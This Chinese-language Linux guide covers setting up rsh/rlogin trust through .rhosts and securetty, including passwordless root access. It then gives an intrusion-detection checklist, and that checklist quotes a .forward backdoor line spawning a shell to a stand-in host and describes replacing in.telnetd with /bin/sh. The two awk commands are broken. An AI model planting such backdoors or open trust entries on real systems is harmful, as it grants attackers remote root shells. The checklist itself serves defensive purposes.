如何设置当前用户的默认rsh

1:安装前准备:

机器A:192.168.0.104（machine_a) (安装rsh server)

机器B:192.168.0.106(machine_b) (rsh client )

2: 首先确认机器A是否安装rsh包:

[root@mg04 root]# rpm -aq |grep rsh

rsh-0.17-14

rsh-server-0.17-14

如果没有安装以上两个包，请找到相关软件安装(如果是LINUX，可以从安装碟中找到)

安装包:

rpm -ivh rsh-0.17-5 (linux *** 作系统)

rpm -ivh rsh-server-0.17-5 (linux *** 作系统)

或者在root下使用yum install rsh 和 yum install rsh-server来自动安装。 （使用yum安装rsh-server的时候xinetd也会被自动安装）

3:确认机器A是否启动rsh 服务:

方法一:

使用命令setup，查看service是否将

rsh/rlogin/rexec 加上*，如果加上*表示可以启动。

/etc/rc.d/init.d/xinetd restart 或者 service xinetd restart

方法二:

或者使用chkconfig检查rsh/rlogin/rexe是有启动。

rsh 属于xinetd服务,可以直接修改/etc/xinetd.d/rsh脚本文件来配置。

service shell

{

disable = no

socket_type = stream

wait = no

user = root

log_on_success += USERID

log_on_failure += USERID

server = /usr/sbin/in.rshd

}

对/etc/xinetd.d/rlogin 和/etc/xinetd.d/rexec进行类似的设置。

当然方法很多，目的就是使用rsh/rlogin/rexec服务能启动。

/etc/rc.d/init.d/xinetd restart

检查是否启动: rsh server 监听和TCP 是514。

[root@mg04 root]# netstat -an |grep 51

tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN

如果能看到514在监听说明服务器已经启动。

4： 配置机器A的hosts文件/etc/hosts例如：(貌似不能直接使用ip来rsh）

127.0.0.1 localhost.localdomain localhost

::1 localhost6.localdomain6 localhost6

192.168.0.104 machine_a.localdomain machine_a

192.168.0.106 machine_b.localdomain machine_b

5： 配置机器A的rsh server:

修改/etc/securetty文件:

echo rsh >>/etc/securetty

echo rlogin >>/etc/securetty

echo rexec >>/etc/securetty

如果打算用AAA作为rsh用户的话:

先用AAA登录到机器A中进行以下 *** 作:

cd ~/

echo "machine_a AAA" >>.rhosts #允许machine_a 以AAA访问 ，即允许从rshserver所在的机器运行rshclient。

echo "machine_b AAA" >>.rhosts #允许machine_b以AAA访问。

echo +AAA >>.rhosts 允许所有的机器以AAA访问，貌似linux下不起作用。

重启rsh server. （service xinetd restart）

5:测试和注意的问题:

rshserver机器作为rshclient的机器测试： rsh -l AAA localhost ps -ef 或者 rsh -l AAA machine_a ps -ef

登录到B机器machine_b进行测试: rsh -l AAA machine_a ps -ef

看是否能看到结果。如果看到 rsh -l AAA machine_a ps -ef

Permission denied.

这是由于权权限问题，一般是由于 .rhosts没有配置正确。.rhosts一般位于

rsh server服务器相对应账号目录下比如AAA(与.bash_profile在同一目录)

rsh在执行命令有时会找不到。rsh 在调用命令是最好使用绝对路径。默认搜索路径为:

[root@mg04 etc]# rsh -l AAA 192.168.0.4 env |grep PATH

PATH=/usr/bin:/bin

hosts.equiv和.rhosts文件 http://linux.sheup.com/linux/linux2007.htm

远程用户启动rlogin访问你的本地主机，此时做如下安全性检查：

1. 本地rlogind在本地/etc/passwd文件中寻找远程用户名，没有则拒绝访问。

2. /etc/passwd中存在远程用户名，rlogind在/etc/hosts.equiv寻找远程主机名，找到则允许访问。

3. /etc/hosts.equiv无远程主机名，rlogind在$HOME/.rhosts寻找远程主机名，找到且该项后无用户名则允许访问，找到且该项后有用户名，若远程用户名位于其中，则允许访问。注意这里的$HOME是与远程用户同名的本机用户的主目录。

4. 若通过了/etc/passwd的检查，但没有通过/etc/hosts.equiv或者$HOME/.rhosts的检查，远程用户给出口令可以登录本机，但无法使用rcp、rsh等。反之则可以使用rcp或者rsh。

5. /etc/hosts.equiv中的+意味着任意主机，此时与/etc/hosts无关。netterm下rlogin除root外的所有用户可以成功，solaris下简单的rlogin hostname同netterm，但是rlogin -l username hostname不成功。这个事实说明netterm下rlogin的时候，指定的参数实际上是远程主机的当前用户名。还说明hosts.equiv文件不支持rlogin -l username hostname，不支持root的rlogin。

6. rlogin -l username hostname和rlogin hostname的检查有点细微的差别，首先在/etc/passwd的检查中是以-l的参数为准的，没有-l参数才使用远程主机的当前用户名，所谓当前用户名是考虑了su出来的用户。其次，$HOME也是先以-l参数为准。第三，$HOME/.rhosts文件中的用户名不是针对-l参数来的，而是针对远程主机的当前用户名来的，但是对于这个远程主机的当前用户名，并不要求出现在/etc/passwd文件中。这第6条尤其重要，许多不成功的$HOME/.rhost就是因为对第6条的不了解。

7. $HOME/.rhosts文件的权限问题，chmod 0都没有影响，不过当时是处理root用户。对于一般用户，一定要保证.rhosts文件对于$HOME的属主是可读的。一般来说，这个文件最好chmod 400。对于root，如果不希望某个用户建立自己的.rhosts或者想替该用户建立.rhosts后不允许该用户自己修改，可以通过chown root .rhosts然后chmod 444 .rhosts实现。除了root，如果$HOME/.rhosts文件的属主和$HOME的属主不一致，检查将失败。

8. $HOME/.rhosts文件中每行只跟一个用户名，若想多个指定，只好分多行指定用户名。

9. sco unix下$HOME/.rhosts中若用+代表主机，与其他Unix系统不同，这里的+没有任何特殊的意义，所以检查将失败。但是用户名仍然可以用+代表。并且sco unix下若root的.rhosts文件go+w，则检查失败。

10. 建议man rhosts看看，各个系统有许多细微的差别。

完！

其他注意：

2. 直接使用 rsh <host>命令方式和使用 rsh <host><cmd>命令方式，其实本质上是不一样的，前者实质上调用的是 rlogin 程序，而后者才是真正意义上的 remote shell。所以，前者对应的是 rlogin 服务的端口，为 513；后者对应的才是 remote shell 服务的端口 514。而使用 rsh <host><cmd>命令方式时，具体过程还是有些特殊的，那就是，本地机先链接服务端的 514 端口，然后服务端还要以约定好的端口（1021～1023）与客户端相连，所以要顺利执行该命令的话，即要求服务端允许 514 端口链接，还要求本地机允许1021～1023端口的链接，这样就必须正确配置防火墙。如果没有在本地机允许1021～1023端口，则会出现如下错误： poll: protocol failure in circuit setup

3. 网上有的说 rsh 连接不正常可以通过修改 /etc/securetty 文件，添加 rsh 和 rlogin 两行，并修改 /etc/pam.d/rsh 文件，注释掉 pam_rhosts_auth.so 那一行就可以。而事实证明，在没有开放相应端口的情况下，这么做了没有用。而按我上面说的4步做了以后，不做这两条也完全可以。所以，这两条对我的系统完全不必要。

上面所说的只对普通用户（非root）有效，若是对root用户，上面的设置还不能实现无密码访问，甚至都可能连不上。对root用户，应增加以下两条：

1. 必须要在 /etc/securetty 中添加上 rsh 和 rlogin 才能分别使用两个服务。

2. 必须要在 /root/.rhosts 中加入等价的主机名或IP,这些机子才能无密码访问该机器。

1、检查系统密码文件

首先从明显的入手，查看一下passwd文件，ls –l /etc/passwd查看文件修改的日期。

检查一下passwd文件中有哪些特权用户，系统中uid为0的用户都会被显示出来。

1

   

awk –F:’==0 {print }’ /etc/passwd

   

顺便再检查一下系统里有没有空口令帐户：

1

   

awk –F: ‘length()==0 {print }’ /etc/shadow

   

2、查看一下进程，看看有没有奇怪的进程

重点查看进程：ps –aef | grep inetd

inetd是UNIX系统的守护进程，正常的inetd的pid都比较靠前，如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程，着重看inetd –s后面的内容。在正常情况下，LINUX系统中的inetd服务后面是没有-s参数的，当然也没有用inetd去启动某个文件；而solaris系统中也仅仅是inetd –s，同样没有用inetd去启动某个特定的文件；如果你使用ps命令看到inetd启动了某个文件，而你自己又没有用inetd启动这个文件，那就说明已经有人入侵了你的系统，并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息，尤其注意有没有以./xxx开头的进程。一旦发现异样的进程，经检查为入侵者留下的后门程序，立即运行kill –9 pid 开杀死该进程，然后再运行ps –aef查看该进程是否被杀死；一旦此类进程出现杀死以后又重新启动的现象，则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找：find / -name 程序名 –print，假设系统真的被入侵者放置了后门，根据找到的程序所在的目录，会找到很多有趣的东东J

UNIX下隐藏进程有的时候通过替换ps文件来做，检测这种方法涉及到检查文件完整性，稍后我们再讨论这种方法。

接下来根据找到入侵者在服务器上的文件目录，一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件，输入：cat /etc/inetd.conf | grep –v “^#”，输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换in.xxx程序来创建一个后门，比如用/bin/sh 替换掉in.telnetd，然后重新启动inetd服务，那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an，列出本机所有的连接和监听的端口，查看有没有非法连接。

输入netstat –rn，查看本机的路由、网关设置是否正确。

输入 ifconfig –a，查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程，这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog，查看系统syslog进程的情况，判断syslog上次启动的时间是否正常，因为syslog是以root身份执行的，如果发现syslog被非法动过，那说明有重大的入侵事件。

在linux下输入ls –al /var/log

在solaris下输入 ls –al /var/adm

检查wtmp utmp，包括messgae等文件的完整性和修改时间是否正常，这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法，典型的RPC攻击就是通过这种方式。这种方式有一定的成功率，也就是说它并不能100%保证成功入侵系统，而且通常会在服务器相应目录下产生core文件，全局查找系统中的core文件，输入find / -name core –exec ls –l {} \依据core所在的目录、查询core文件来判断是否有入侵行为。

7、.rhosts和.forward

这是两种比较著名的后门文件，如果想检查你的系统是否被入侵者安装了后门，不妨全局查找这两个文件：

find / -name “.rhosts” –print

find / -name “.forward” –print

在某用户的$HOME下，.rhosts文件中仅包含两个+号是非常危险的，如果你的系统上开了513端口（rlogin端口，和telnet作用相同），那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。

看到这里如果想要深入的做安全加固服务以及安全部署

就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。

Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:

\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下，如果你运行如下命令：

ln -s /var/mail/luser ~/.forward

然后设置vacation有效，那么/var/mail/luser就会被拷贝到~/.forward，同时会附加"|/usr/bin/vacation me"，旧的symlink被移到~/.forward..BACKUP中。

直接删除掉这两个文件也可以。

8、检查系统文件完整性

检查文件的完整性有多种方法，通常我们通过输入ls –l 文件名来查询和比较文件，这种方法虽然简单，但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询，国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多，这里不一一赘述，可以man rpm来获得更多的格式。

UNIX系统中，/bin/login是被入侵者经常替换作为后门的文件，接下来谈一下login后门 ：

UNIX里，Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改，使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令，它将忽视管理员设置的口令让你长驱直入：这将允许入侵者进入任何账号，甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问，所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后，使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令，使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令，输入md5sum 文件名检查该文件的md5签名。它的使用格式如下：md5sum –b 使用二进制方式阅读文件；md5sum –c 逆向检查MD5签名；md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程，对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较，举个简单的例子，如果你开放了telnet服务，守护进程配置文件中就会有一句：telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd，检查该文件的完整性，入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。

LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件，检查该文件的完整性，可以直接cat /etc/crontab，仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷，即系统一旦重新启动，这个进程就被杀死了，所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序；这个方法怎么有点象查windows下的trojan？

说到这里，另外提一下，如果在某一目录下发现有属性为这样的文件：-rwsr-xr-x 1 root root xxx .sh，这个表明任何用户进来以后运行这个文件都可以获得一个rootshell，这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找，然后删除这样的文件。

9、检查内核级后门

如果你的系统被人安装了这种后门，通常都是比较讨厌的，我常常就在想，遇到这种情况还是重新安装系统算了J，言归正传，首先，检查系统加载的模块，在LINUX系统下使用lsmod命令，在solaris系统下使用modinfo命令来查看。这里需要说明的是，一般默认安装的LINUX加载的模块都比较少，通常就是网卡的驱动；而solaris下就很多，没别的办法，只有一条一条地去分析。对内核进行加固后，应禁止插入或删除模块，从而保护系统的安全，否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外，对这个内核进行加固模块时应尽早进行，以防系统调用已经被入侵者替换。如果系统被加载了后门模块，但是在模块列表/proc/module里又看不到它们，有可能是使用了hack工具来移除加载的模块，大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况，需要仔细查找/proc目录，根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录，当然可能这个目录是隐藏的。

---